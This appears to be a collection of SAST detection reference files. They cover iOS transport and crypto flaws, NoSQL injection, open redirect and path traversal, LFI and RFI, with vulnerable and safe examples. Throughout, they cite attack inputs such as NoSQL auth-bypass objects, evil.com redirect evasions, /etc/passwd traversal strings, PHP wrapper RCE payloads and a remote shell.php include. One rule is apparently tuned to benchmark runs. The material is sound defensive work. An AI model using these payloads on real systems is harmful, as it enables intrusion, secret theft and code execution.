**FALSE POSITIVE**: `webView.load(URLRequest(url: URL(string: "https://static.example.com/help")!))` — hardcoded URL, no user control.

---

### ATS Bypass (App Transport Security)

#### NSAllowsArbitraryLoads

**VULN** — Info.plist:
```xml
<key>NSAppTransportSecurity</key>
<dict>
    <key>NSAllowsArbitraryLoads</key>
    <true/>
</dict>
```

**TRUE POSITIVE**: `NSAllowsArbitraryLoads` set to `true` at the top-level ATS dictionary — this disables TLS enforcement globally for all network connections.

**FALSE POSITIVE**: `NSAllowsArbitraryLoads` set to `true` only within `NSExceptionDomains` for a specific domain (e.g., a legacy internal server during a migration window) with `NSTemporaryExceptionAllowsInsecureHTTPLoads` is lower severity than the global flag; still report as a finding but at MEDIUM rather than HIGH.

---

#### NSExceptionDomains Insecure Exception

**VULN**:
```xml
<key>NSAppTransportSecurity</key>
<dict>
    <key>NSExceptionDomains</key>
    <dict>
        <key>api.example.com</key>
        <dict>
            <key>NSTemporaryExceptionAllowsInsecureHTTPLoads</key>
            <true/>
            <key>NSIncludesSubdomains</key>
            <true/>
        </dict>
    </dict>
</dict>
```

**TRUE POSITIVE**: `NSTemporaryExceptionAllowsInsecureHTTPLoads: true` for a domain used as a production API endpoint, especially combined with `NSIncludesSubdomains: true`.

**FALSE POSITIVE**: Exceptions restricted to `localhost` or `127.0.0.1` for local development tooling — valid test configuration; do not flag in CI/CD SAST unless the build target is a release variant.

---

### Insecure Crypto (iOS)

#### DES or Small Key Size

**VULN**:
```swift
let status = CCCrypt(
    CCOperation(kCCEncrypt),
    CCAlgorithm(kCCAlgorithmDES),  // 56-bit key — broken
    CCOptions(kCCOptionPKCS7Padding),
    keyBytes, kCCKeySizeDES, iv,
    plaintext, plaintextLength,
    ciphertext, ciphertextLength, &moved)
```

**SAFE**:
```swift
CCCrypt(kCCEncrypt, kCCAlgorithmAES, kCCOptionPKCS7Padding,
        keyBytes, kCCKeySizeAES256, iv, ...)
```

**TRUE POSITIVE**: `kCCAlgorithmDES`, `kCCAlgorithm3DES`, or `kCCAlgorithmRC4` in any `CCCrypt` call. Also flag `kCCAlgorithmAES` with key size constant `kCCKeySizeAES128` only when the key material is derived from a weak source (see below).

**FALSE POSITIVE**: `kCCAlgorithmAES` with `kCCKeySizeAES256` and a key derived from `SecRandomCopyBytes` — acceptable configuration.

---

#### Hardcoded Encryption Key

**VULN**:
```swift
let key = "MySecretKey12345"
let keyData = key.data(using: .utf8)!
CCCrypt(kCCEncrypt, kCCAlgorithmAES, kCCOptionPKCS7Padding,
        (keyData as NSData).bytes, keyData.count, iv, ...)
```

**VULN (Objective-C)**:
```objc
const char *key = "HardcodedKeyValue";
CCCrypt(kCCEncrypt, kCCAlgorithmAES128, kCCOptionPKCS7Padding,
        key, strlen(key), iv, ...);
```

**TRUE POSITIVE**: String literal or byte array literal used directly as the key argument to `CCCrypt`, `SecKeyCreateWithData`, or any third-party symmetric encryption API, when the literal has length >= 8 and mixed entropy suggesting it is a real key rather than a placeholder.

**FALSE POSITIVE**: Test-only key literals in files under `*Tests*`, `*Spec*`, or `*Mock*` directories — report as INFORMATIONAL in test code, not HIGH in production code.

---

#### arc4random for Key / Token Generation

**VULN**:
```swift
let token = String(arc4random_uniform(1_000_000))
UserDefaults.standard.set(token, forKey: "sessionToken")
```

**VULN (Objective-C)**:
```objc
NSString *otp = [NSString stringWithFormat:@"%d", arc4random_uniform(999999)];
```

**SAFE**:
```swift
var tokenBytes = [UInt8](repeating: 0, count: 32)
let result = SecRandomCopyBytes(kSecRandomDefault, tokenBytes.count, &tokenBytes)
guard result == errSecSuccess else { fatalError("SecRandomCopyBytes failed") }
let token = Data(tokenBytes).base64EncodedString()
```

**TRUE POSITIVE**: `arc4random`, `arc4random_uniform`, or `rand()` / `random()` used to generate values assigned to variables named `token`, `otp`, `nonce`, `sessionId`, `key`, `secret`, or `password`.

**FALSE POSITIVE**: `arc4random_uniform` used to shuffle UI elements, randomize quiz question order, or produce non-security-critical random numbers.

---

### Weak Certificate Validation

#### Accepting All TLS Certificates in URLSession Delegate

**VULN**:
```swift
func urlSession(_ session: URLSession,
                didReceive challenge: URLAuthenticationChallenge,
                completionHandler: @escaping (URLSession.AuthChallengeDisposition,
                                              URLCredential?) -> Void) {
    // Accepts ANY certificate — including expired, self-signed, or attacker-controlled
    let serverTrust = challenge.protectionSpace.serverTrust!
    completionHandler(.useCredential, URLCredential(trust: serverTrust))
}
```

**SAFE** — evaluate trust before accepting:
```swift
func urlSession(_ session: URLSession,
                didReceive challenge: URLAuthenticationChallenge,
                completionHandler: @escaping (URLSession.AuthChallengeDisposition,
                                              URLCredential?) -> Void) {
    guard challenge.protectionSpace.authenticationMethod ==
              NSURLAuthenticationMethodServerTrust,
          let serverTrust = challenge.protectionSpace.serverTrust else {
        completionHandler(.cancelAuthenticationChallenge, nil)
        return
    }
    var error: CFError?
    if SecTrustEvaluateWithError(serverTrust, &error) {
        completionHandler(.useCredential, URLCredential(trust: serverTrust))
    } else {
        completionHandler(.cancelAuthenticationChallenge, nil)
    }
}
```

**TRUE POSITIVE**: `completionHandler(.useCredential, URLCredential(trust: serverTrust))` called without a preceding `SecTrustEvaluateWithError` check that gates on a `true` return value.

**FALSE POSITIVE**: Custom certificate pinning implementations that verify the server's leaf or intermediate certificate against a bundled public key or certificate hash before calling `.useCredential` — not a vulnerability even though `SecTrustEvaluateWithError` may not be used.

---

#### Objective-C NSURLConnection / NSURLSession Trust Bypass

**VULN**:
```objc
- (void)connection:(NSURLConnection *)connection
    willSendRequestForAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge {
    [challenge.sender useCredential:
        [NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust]
             forAuthenticationChallenge:challenge];
}
```

**TRUE POSITIVE**: `useCredential:forAuthenticationChallenge:` called with a trust credential for a server trust challenge without validating the trust object first.

**FALSE POSITIVE**: Implementation that calls `SecTrustEvaluate` (or `SecTrustEvaluateWithError`) and only proceeds with `useCredential` when the return value indicates success.

---

## Severity Reference

| Vulnerability | Platform | CWE | Severity |
|---|---|---|---|
| SharedPreferences storing credentials | Android | CWE-312 | HIGH |
| Logging sensitive data | Android / iOS | CWE-312 | MEDIUM |
| External storage write of sensitive data | Android | CWE-312 | HIGH |
| Hardcoded credentials / keys in source | Android / iOS | CWE-798 | HIGH |
| Exported Activity/Service/Receiver without permission | Android | CWE-927 | HIGH |
| Intent extra used in raw SQL (injection) | Android | CWE-89 | HIGH |
| Intent extra used in file path (traversal) | Android | CWE-22 | HIGH |
| WebView loading intent URL (arbitrary) | Android | CWE-939 | HIGH |
| addJavascriptInterface with user-controlled URL | Android | CWE-749 | HIGH |
| setJavaScriptEnabled with user-controlled URL | Android | CWE-749 | MEDIUM |
| shouldOverrideUrlLoading returning false unconditionally | Android | CWE-939 | MEDIUM |
| ContentProvider exported without permission | Android | CWE-927 | HIGH |
| SQL injection in ContentProvider query() | Android | CWE-89 | HIGH |
| PendingIntent with empty base intent | Android | CWE-927 | MEDIUM |
| AES/ECB mode | Android | CWE-327 | HIGH |
| Static / zero IV | Android | CWE-329 | HIGH |
| AES key size < 128 bits | Android | CWE-326 | HIGH |
| java.util.Random for security tokens | Android | CWE-338 | HIGH |
| UserDefaults storing sensitive data | iOS | CWE-312 | HIGH |
| File written without NSFileProtectionComplete | iOS | CWE-312 | MEDIUM |
| Unvalidated deep-link URL to WKWebView | iOS | CWE-939 | HIGH |
| NSAllowsArbitraryLoads: true (global) | iOS | CWE-319 | HIGH |
| NSTemporaryExceptionAllowsInsecureHTTPLoads per domain | iOS | CWE-319 | MEDIUM |
| kCCAlgorithmDES / 3DES usage | iOS | CWE-327 | HIGH |
| Hardcoded encryption key literal | iOS | CWE-798 | HIGH |
| arc4random for security token generation | iOS | CWE-338 | HIGH |
| TLS certificate accepted without SecTrustEvaluateWithError | iOS | CWE-295 | CRITICAL |

## references/nosql_injection.md

---
name: nosql_injection
description: Detect NoSQL injection vulnerabilities where user-controlled data is passed directly into MongoDB or other NoSQL query operators without type validation.
---

# NoSQL Injection

NoSQL injection arises when user-supplied data is incorporated directly into a NoSQL query document. Unlike SQL injection, the payload exploits the database's native query operators (e.g., MongoDB `$gt`, `$where`, `$regex`) to alter query logic rather than breaking out of a SQL statement.

## Canonical Example

```python
# VULN — if username is {"$gt": ""} instead of a string, matches all users
collection.find({"username": request.json['username']})
```

The attacker sends: `{"username": {"$gt": ""}, "password": {"$gt": ""}}` to bypass authentication.

## TRUE POSITIVE Criteria

- User input is inserted directly as a MongoDB query value without any type validation.
- The input could be a dict/object (rather than a plain string) that MongoDB would treat as an operator expression.

## FALSE POSITIVE Criteria

- Type validation is performed before the query: `if isinstance(username, str):` or `typeof username === 'string'`.
- ORM-level type enforcement automatically rejects non-string values.
- MongoDB `$where` is not used with any user-controlled input.

---

## Python Source Detection Rules

### pymongo
- **VULN**: `collection.find({"username": request.json['username']})` — no isinstance check
- **VULN**: `collection.find({"email": request.form.get('email')})` — form value unvalidated
- **VULN**: `collection.find_one({"$where": f"this.username == '{username}'"})` — JS injection
- **VULN**: `collection.find(request.json)` — entire JSON body used as query document
- **SAFE**:
  ```python
  username = request.json.get('username')
  if not isinstance(username, str):
      abort(400)
  collection.find({"username": username})
  ```

### MongoEngine
- **VULN**: `User.objects(**request.json)` — arbitrary query kwargs sourced from user input
- **VULN**: `User.objects(raw_query=request.json)` — raw query document supplied by user

### Source identifiers
`request.json`, `request.json.get`, `request.form.get`, `request.args.get`, `request.data`

---

## JavaScript Source Detection Rules

### mongoose
- **VULN**: `User.find({username: req.body.username})` — if `req.body.username` is an object `{$gt: ""}`, injection succeeds
- **VULN**: `User.findOne({email: req.body.email, password: req.body.password})` — both fields are injectable
- **VULN**: `db.collection('users').find(req.body.query)` — entire query sourced from request body
- **SAFE**:
  ```js
  if (typeof req.body.username !== 'string') return res.status(400).json({error: 'Invalid input'});
  User.find({username: req.body.username})
  ```
- **SAFE**: Use mongoose-sanitize or express-mongo-sanitize middleware

### $where operator
- **VULN**: `User.find({$where: `this.username == '${req.body.username}'`})` — JS code injection
- All `$where` usage with any user input is HIGH RISK (allows arbitrary JS execution inside MongoDB)

### Source identifiers
`req.body`, `req.query`, `req.params`

---

## PHP Source Detection Rules

### MongoDB PHP driver
- **VULN**: `$collection->find(['username' => $_POST['username']])` — POST value could be an array
- **VULN**: `$collection->find(['email' => $_GET['email']])` — GET value unvalidated
- **VULN**: `$collection->find(json_decode($_POST['filter'], true))` — JSON body used as query document
- **SAFE**:
  ```php
  $username = (string)$_POST['username']; // cast to string
  $collection->find(['username' => $username]);
  ```

### Type validation patterns
- **VULN**: No `(string)` cast or `is_string()` check before using input in a MongoDB query
- **SAFE**: `if (!is_string($_POST['username'])) { http_response_code(400); exit; }`

### Laravel MongoDB (jenssegers/laravel-mongodb)
- **VULN**: `User::where('username', request('username'))->first()` — no type validation in middleware
- **VULN**: `User::where(request()->all())->first()` — entire request object used as query

## references/open_redirect.md

---
name: open-redirect
description: Open redirect and unvalidated forward detection (CWE-601)
---

# Open Redirect (CWE-601)

Identify cases where user-controlled input reaches a redirect or forward target without adequate validation or restriction.

## Source -> Sink Pattern

**Sources**: `request.getParameter("url")`, `request.getParameter("redirect")`, `request.getParameter("next")`, `request.getParameter("return")`, `@RequestParam` with URL-like names, `Referer` header

**Sinks**:
- `response.sendRedirect(userInput)`
- `response.setHeader("Location", userInput)`
- `response.setStatus(302); response.setHeader("Location", userInput)`
- Spring: `return "redirect:" + userInput`
- `RequestDispatcher.forward(userInput)`
- `ModelAndView("redirect:" + userInput)`

## Vulnerable Conditions
- User-supplied input flows directly into the redirect destination without transformation
- Validation only examines the prefix (e.g., `url.startsWith("/")`) — can be bypassed using `//evil.com` or `/\evil.com`
- Blocking-based (denylist) validation that attackers can route around

## Safe Patterns
- The redirect target is a hardcoded constant with no user input involved
- An allowlist explicitly enumerates every permitted redirect destination
- Relative paths are validated server-side and then prepended with a known base URL
- The URL is fully parsed and both scheme and host are verified against an approved list

## Evasion Patterns
- `//evil.com` — protocol-relative URL that satisfies a `startsWith("/")` check
- `/\evil.com` — backslash parsed as a path separator by certain browsers
- `/%09/evil.com` — tab character inserted to break naive pattern matching
- `https://trusted.com@evil.com` — attacker host hidden in the authority/userinfo section
- URL encoding: `%2F%2Fevil.com`

## Java / Spring Detection Rules

- `return "redirect:" + target`, `new ModelAndView("redirect:" + target)`, `response.sendRedirect(target)`, `headers.setLocation(URI.create(target))`, and `response.setHeader("Location", target)` are all open-redirect sinks when `target` is user-controlled.
- Do not relabel a plain attacker-chosen redirect destination as `http_response_splitting` unless the evidence shows CR/LF injection into the header value; without header-breaking characters it remains `open_redirect`.
- On repeat benchmark runs, keep `open_redirect` for a reachable user-controlled redirect target even when the same flow also writes a `Location` header or participates in a login redirect chain; only add or replace it with `http_response_splitting` when the evidence contains actual CR/LF header breaking.

## Python/JS/PHP Source Detection Rules

### Python (Flask / Django)
- **VULN**: `return redirect(request.args.get('next'))` — user-controlled redirect target
- **VULN**: `return redirect(request.args.get('url'))` without URL validation
- **VULN (Django)**: `return HttpResponseRedirect(request.GET.get('redirect'))` — no validation
- **SAFE**: `if url_has_allowed_host_and_scheme(url, allowed_hosts={'example.com'}): return redirect(url)`
- **SAFE**: `return redirect(url_for('dashboard'))` — framework-generated internal URL

### JavaScript (Express / Node.js)
- **VULN**: `res.redirect(req.query.url)` — user-controlled redirect
- **VULN**: `res.redirect(req.body.returnTo)` — POST body controls destination
- **VULN**: `res.set('Location', req.query.next); res.status(302).end()`
- **SAFE**: URL parsed and host validated against allowlist before redirect
- **SAFE**: `res.redirect('/dashboard')` — hardcoded path

### PHP
- **VULN**: `header("Location: " . $_GET['url'])` — user-controlled redirect
- **VULN**: `header("Location: " . $_POST['redirect'])` — POST parameter controls destination
- **SAFE**: `if (in_array($_GET['url'], $allowedUrls)) header("Location: " . $_GET['url'])`
- **SAFE**: `header("Location: /dashboard")` — hardcoded

## Common False Alarms

- Redirect target is a hardcoded constant or framework-generated route (e.g., `url_for()`, `redirect('/')`)
- URL is fully parsed and both scheme and host are verified against an explicit allowlist before the redirect
- Redirect is to a relative path that is prepended with a known base URL server-side
- Login redirect that only accepts relative paths starting with `/` AND rejects protocol-relative URLs (`//evil.com`)
- Internal forward/dispatch that does not result in an HTTP redirect response to the client

## Business Risk
- Phishing attacks that exploit a trusted domain's reputation
- OAuth token theft through manipulation of the `redirect_uri` parameter
- Session fixation when the redirect is embedded within login or authentication flows

## references/path_traversal_lfi_rfi.md

---
name: path-traversal-lfi-rfi
description: Path traversal and file inclusion testing for local/remote file access and code execution
---

# Path Traversal / LFI / RFI

Flawed file path handling and dynamic file inclusion give attackers a route to sensitive configuration, source code, credentials, SSRF pivots, and server-side code execution. Any user-influenced path, filename, or scheme must be treated as untrusted, normalized to a canonical form, and constrained to an explicit allowlist — or user control over the path should be eliminated entirely.

## Where to Look

**Path Traversal**
- Read files outside intended roots via `../`, encoding, normalization gaps

**Local File Inclusion (LFI)**
- Include server-side files into interpreters/templates

**Remote File Inclusion (RFI)**
- Include remote resources (HTTP/FTP/wrappers) for code execution

**Archive Extraction**
- Zip Slip: write outside target directory upon unzip/untar

**Normalization Mismatches**
- Server/proxy differences (nginx alias/root, upstream decoders)
- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams

## High-Value Targets

**Unix**
- `/etc/passwd`, `/etc/hosts`, application `.env`/`config.yaml`
- SSH keys, cloud creds, service configs/logs

**Windows**
- `C:\Windows\win.ini`, IIS/web.config, programdata configs, application logs

**Application**
- Source code templates and server-side includes
- Secrets in env dumps, framework caches

## Reconnaissance

### Surface Map

- HTTP params: `file`, `path`, `template`, `include`, `page`, `view`, `download`, `export`, `report`, `log`, `dir`, `theme`, `lang`
- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters
- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z
- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins
- Reverse proxies and static file servers (nginx, CDN) in front of app handlers

### Capability Probes

- Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini`
- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, mixed UTF-8 (`%c0%2e`), Unicode dots and slashes
- Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding
- Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`
- Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream

## How to Detect

### Direct

- Response body discloses file content (text, binary, base64)
- Error pages echo real paths

### Error-Based

- Exception messages expose canonicalized paths or `include()` warnings with real filesystem locations

### OAST

- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution

### Side Effects

- Archive extraction writes files unexpectedly outside target
- Verify with directory listings or follow-up reads

## Vulnerability Patterns

### Path Traversal Bypasses

**Encodings**
- Single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities

**Mixed Separators**
- `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks

**Dot Tricks**
- `....//` (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension

**Absolute Path Injection**
- Bypass joins by supplying a rooted path

**Alias/Root Mismatch**
- nginx alias without trailing slash with nested location allows `../` to escape
- Try `/static/../etc/passwd` and ";" variants (`..;`)

**Upstream vs Backend Decoding**
- Proxies/CDNs decoding `%2f` differently; test double-decoding and encoded dots

### LFI Wrappers and Techniques

**PHP Wrappers**
- `php://filter/convert.base64-encode/resource=index.php` (read source)
- `zip://archive.zip#file.txt`
- `data://text/plain;base64`
- `expect://` (if enabled)

**Log/Session Poisoning**
- Inject PHP/templating payloads into access/error logs or session files then include them

**Upload Temp Names**
- Include temporary upload files before relocation; race with scanners

**Proc and Caches**
- `/proc/self/environ` and framework-specific caches for readable secrets

**Legacy Tricks**
- Null-byte (`%00`) truncation — only exploitable on PHP < 5.3.4; modern PHP (>= 5.3.4) rejects null bytes in file paths with a ValueError. Do not flag null-byte truncation as a viable attack vector on PHP >= 5.3.4.
- Path length truncation on older systems

### Template Engines

- PHP include/require; Smarty/Twig/Blade with dynamic template names
- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines
- Seek dynamic template resolution from user input (theme/lang/template)

### RFI Conditions

**Requirements**
- Remote includes (`allow_url_include`/`allow_url_fopen` in PHP)
- Custom fetchers that eval/execute retrieved content
- SSRF-to-exec bridges

**Protocol Handlers**
- http, https, ftp; language-specific stream handlers

**Exploitation**
- Host a minimal payload that proves code execution
- Prefer OAST beacons or deterministic output over heavy shells
- Chain with upload or log poisoning when remote includes are disabled

### Archive Extraction (Zip Slip)

- Files within archives containing `../` or absolute paths escape target extract directory
- Test multiple formats: zip/tar/tgz/7z
- Verify symlink handling and path canonicalization prior to write
- Impact: overwrite config/templates or drop webshells into served directories

## Analysis Workflow

1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors
2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations
3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes
4. **Compare behaviors** - Web server vs application behavior
5. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains)

## Confirming a Finding

1. Show a minimal traversal read proving out-of-root access (e.g., `/etc/hosts`) with a same-endpoint in-root control
2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php)
3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads
4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back)
5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility

## Common False Alarms

- In-app virtual paths that do not map to filesystem; content comes from safe stores (DB/object storage)
- Canonicalized paths constrained to an allowlist/root after normalization
- Wrappers disabled and includes using constant templates only
- Archive extractors that sanitize paths and enforce destination directories

## Business Risk

- Sensitive configuration/source disclosure → credential and key compromise
- Code execution via inclusion of attacker-controlled content or overwritten templates
- Persistence via dropped files in served directories; lateral movement via revealed secrets
- Supply-chain impact when report/template engines execute attacker-influenced files

## Analyst Notes

1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise
2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for `%2f` and `%2e` encodings
3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions
4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains
5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems

## Core Principle

Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.

## Distinguishing Path Traversal from LFI

Path traversal and LFI are related but distinct vulnerability classes. Choosing the correct label depends on the **sink** and the **impact**.

### Path Traversal
The vulnerability is in **arbitrary file read/write** via directory traversal sequences (`../`):
- The sink is a file I/O function: `open()`, `readFile()`, `file_get_contents()`, `fopen()`, `send_file()`, `send_from_directory()`
- The attacker reads or writes files outside the intended directory
- The file content is returned as **data** (text, binary, download) — NOT executed as code
- Typical targets: `/etc/passwd`, config files, `.env`, source code, flag files
- Nginx alias misconfiguration without trailing slash → path traversal

**Tag as path traversal when:** User input reaches a file read/write operation and `../` sequences can escape the intended directory.

### Local File Inclusion (LFI)
The vulnerability is in **including/executing a local file** through an interpreter:
- The sink is an **include/require** function: PHP `include()`, `require()`, `include_once()`
- The included file is **parsed and executed** by the interpreter, not just read as data
- Can lead to RCE via log poisoning, session poisoning, PHP wrappers (`php://filter`, `data://`)
- PHP wrappers like `php://filter/convert.base64-encode/resource=` are LFI-specific

**Tag as LFI when:** User input reaches a language-level include/require that **executes** the included file as code.

### When Both Apply
Some vulnerabilities involve both path traversal AND local file inclusion:
- `include('pages/' . $_GET['page'] . '.php')` with `../` bypass → both path traversal (the `../` escape) and LFI (the `include` execution)
- In this case, tag **both** `path_traversal` and `lfi`

### When to Tag Only One
- `file_get_contents($_GET['file'])` with `../` → **path traversal** only (reads file content, does not execute it)
- `include($_GET['page'])` without needing `../` (e.g., including `/etc/passwd` directly or using PHP wrappers) → **LFI** only
- `send_from_directory(base, user_input)` in Flask → **path traversal** only (serves files, does not execute them)
- Nginx alias off-by-one → **path traversal** only (web server misconfiguration, no code execution)

## Python/JS/PHP Source Detection Rules

### Python
- **VULN**: `open(user_input)`, `open(os.path.join(base, user_input))` — no realpath validation
- **VULN**: `send_file(user_input)`, `send_from_directory(base, user_input)` — Flask file serving with user-controlled path
- **SAFE**: `safe_path = os.path.realpath(os.path.join(base, user_input)); assert safe_path.startswith(base)`
- **Pattern**: `../` in `user_input` traverses out of the intended directory

### JavaScript (Node.js)
- **VULN**: `fs.readFile(req.params.filename, ...)` — no path validation
- **VULN**: `res.sendFile(path.join(__dirname, req.query.file))`
- **SAFE**: `path.resolve()` result validated to confirm it is within the allowed directory

### PHP
- **VULN**: `include($_GET['page'])`, `require($_GET['file'])` — LFI
- **VULN**: `include($_GET['page'] . '.php')` — still bypassable via null byte or wrappers
- **VULN**: `file_get_contents($_GET['file'])`, `readfile($_GET['path'])`
- **SAFE**: `include(basename($_GET['page']) . '.php')` — reduces but does not eliminate risk
- **RFI**: When `allow_url_include=On`, `include('http://evil.com/shell.php')` achieves RCE

## Java Servlet Patterns (CWE-22)

**VULN** — tainted input used to construct a file path:
```java
new File(tainted)
new File("/uploads/" + tainted)
new FileInputStream(tainted)
new FileOutputStream(tainted)
Paths.get(tainted)
```

**SAFE** — canonical path validated against allowed base:
```java
File f = new File(base, tainted).getCanonicalFile();
if (!f.getPath().startsWith(base)) throw new Exception();
```

**Decision rule**: tainted string in ANY argument of `File()`, `FileInputStream()`, `Paths.get()` with no canonical path check → **VULN**.

**Edge cases**:
- `new File(tainted, "/Test.txt")` — first argument is tainted parent dir → **VULN**.
- `new File(fixedBase, tainted)` — second argument is tainted child → **VULN**.
- `new File(Utils.TESTFILES_DIR, bar)` — fixed base does NOT sanitize child when `bar` is tainted → **VULN**.
- `new File(java.net.URI)` is **VULN** when that `URI` was built from tainted path text.
- Direct stream calls `new FileInputStream(fileName)` / `new FileOutputStream(fileName)` are **VULN** when `fileName` is tainted.
- Only `getCanonicalPath()` + `startsWith` check makes it **SAFE**.
- If a helper overwrites tainted data with a fixed literal before the sink → **SAFE**.

## PHP-Specific LFI Bypass Patterns

### Null Byte Truncation (PHP < 5.3.4)

```php
// VULNERABLE: extension appended but null byte truncates in older PHP
include($_GET['page'] . '.php');
// Attacker: page=../../../../etc/passwd%00
// Result in PHP < 5.3.4: include('../../../../etc/passwd')  (.php truncated at null byte)

// VULN indicator: PHP version < 5.3.4 AND include/require with appended extension AND user input
// Modern PHP (>= 5.3.4): null byte throws a ValueError — not exploitable this way
```

### str_replace('../') Bypass Patterns

```php
// VULNERABLE: simple string replacement is bypassable
$page = str_replace('../', '', $_GET['page']);
include('pages/' . $page . '.php');
// Bypass: ....// → after removing ../ → ../
// Bypass: ..%2F → URL-decoded after sanitization by web server
// Bypass: ..\ (Windows backslash)

// VULNERABLE: only sanitizing forward slash traversal
$page = str_replace('../', '', $_GET['page']);
// Bypasses on Windows: ..\, ..\ URL-encoded as %2e%2e%5c

// SAFE: use realpath() + startsWith check
$safePath = realpath('pages/' . $_GET['page'] . '.php');
if ($safePath === false || strpos($safePath, realpath('pages/')) !== 0) {
    die('Access denied');
}
```

### PHP Wrapper LFI

```php
// VULNERABLE: include/require/file_get_contents accepting PHP wrappers
include($_GET['page']);
// Attacker: php://filter/convert.base64-encode/resource=config.php  → reads source code
// Attacker: data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+  → RCE (allow_url_include=On)
// Attacker: zip://uploads/evil.zip#shell.php  → executes uploaded PHP in ZIP

// VULN condition for RCE via wrapper:
// - allow_url_include=On: enables data://, http://, ftp:// inclusion
// - allow_url_fopen=On: enables remote URLs in file_get_contents

// Detection: any include/require with user input = LFI at minimum; check php.ini for allow_url_include
```

### PHP Session File Inclusion

```php
// VULNERABLE: include session file with user-controlled session ID
$sessionFile = '/var/lib/php/sessions/sess_' . $_GET['sessid'];
include($sessionFile);
// If attacker controls session data AND a session file exists with PHP code

// VULNERABLE: user-controlled data written to session, then session file included
$_SESSION['template'] = $_POST['template'];  // write user input to session
include('/var/lib/php/sessions/sess_' . session_id());  // include own session file
```

## IIS-Specific Path Traversal Patterns

### Tilde Shortname Enumeration

```
// NOT a code pattern — IIS server behavior
// IIS generates 8.3 short names for files/dirs
// Attacker can enumerate filenames via: GET /a~1/b~1/secret.txt HTTP/1.1
// This is an IIS server configuration issue, not an app code issue
// DETECTION: Only relevant if code passes user-controlled path to IIS file system ops
```

### Unicode / Double-Decode in ASP.NET

```csharp
// VULNERABLE: Path constructed from URL without proper decoding
string filePath = Server.MapPath(Request.QueryString["file"]);
// Attacker: file=..%252fetc%252fpasswd → double-decoded → ../../etc/passwd
// %25 → % then %2f → / = ../ after double decode

// VULNERABLE: Path.Combine with absolute path injection
string filePath = Path.Combine(baseDir, Request.QueryString["file"]);
// If "file" = "C:\Windows\win.ini" (absolute path), Path.Combine returns the absolute path
// Effectively ignoring baseDir

// SAFE:
string userFile = Request.QueryString["file"];
string combined = Path.GetFullPath(Path.Combine(baseDir, userFile));
if (!combined.StartsWith(baseDir)) throw new Exception("Path traversal detected");
```

### ASP / ASPX Double Extension

```csharp
// VULNERABLE: path allows ../ to reach web.config or App_Code
string template = Path.Combine(templateDir, Request.QueryString["template"] + ".html");
// template=../../../../web.config%00 (null byte bypass in some .NET versions)
// template=../App_Code/BusinessLogic.cs → source disclosure
```

## Windows-Specific Path Traversal Conditions

```java
// VULNERABLE: Windows UNC path injection
String path = baseDir + request.getParameter("file");
File f = new File(path);
// Attacker: file=\\attacker.com\share\secret → UNC path reaches remote share
// VULN on Windows servers where UNC paths are followed

// VULNERABLE: Windows device name injection
// CON, PRN, AUX, NUL, COM1-COM9, LPT1-LPT9 as filename components → DoS or unexpected behavior
String filename = request.getParameter("filename");
new File(baseDir, filename);
// filename="NUL" → hangs; filename="CON" → reads from console

// VULNERABLE: Alternate Data Streams (Windows NTFS)
// file=secret.txt::$DATA → reads the main stream
// file=legit.txt:evil.php → ADS execution in some IIS configs
```

## Additional Java Path Traversal Sink Patterns

```java
// VULNERABLE: ClassLoader.getResourceAsStream with user input
getClass().getResourceAsStream(request.getParameter("resource"));
// Can read classpath resources including application.properties, config files

// VULNERABLE: ZipFile entry path not validated
ZipFile zip = new ZipFile(uploadedFile);
for (ZipEntry entry : Collections.list(zip.entries())) {
    File dest = new File(extractDir, entry.getName());
    // entry.getName() = "../../webapps/ROOT/shell.jsp" → Zip Slip
}

// VULNERABLE: Filename from Content-Disposition header
String contentDisposition = request.getHeader("Content-Disposition");
String filename = contentDisposition.split("filename=")[1];  // user-controlled
new File(UPLOAD_DIR, filename);  // path traversal if filename = "../config/db.properties"

// SAFE: always canonicalize and verify prefix
String filename = Paths.get(userInput).getFileName().toString();  // strips directory components
File dest = new File(baseDir, filename).getCanonicalFile();
if (!dest.getPath().startsWith(baseDir)) throw new SecurityException();
```

## PHP/Java TRUE POSITIVE Detection Summary

- `include/require($_GET['page'])` with no realpath validation → **CONFIRM** (LFI, RCE with wrappers)
- `str_replace('../', '', input)` used as traversal protection → **CONFIRM** (bypassable with `....//`)
- `new File(baseDir, userInput)` without `getCanonicalFile().startsWith(baseDir)` check → **CONFIRM**
- `ZipEntry.getName()` used directly in file path construction → **CONFIRM** (Zip Slip)
- `Path.Combine(baseDir, userInput)` without `GetFullPath` + startsWith check → **CONFIRM** (.NET)
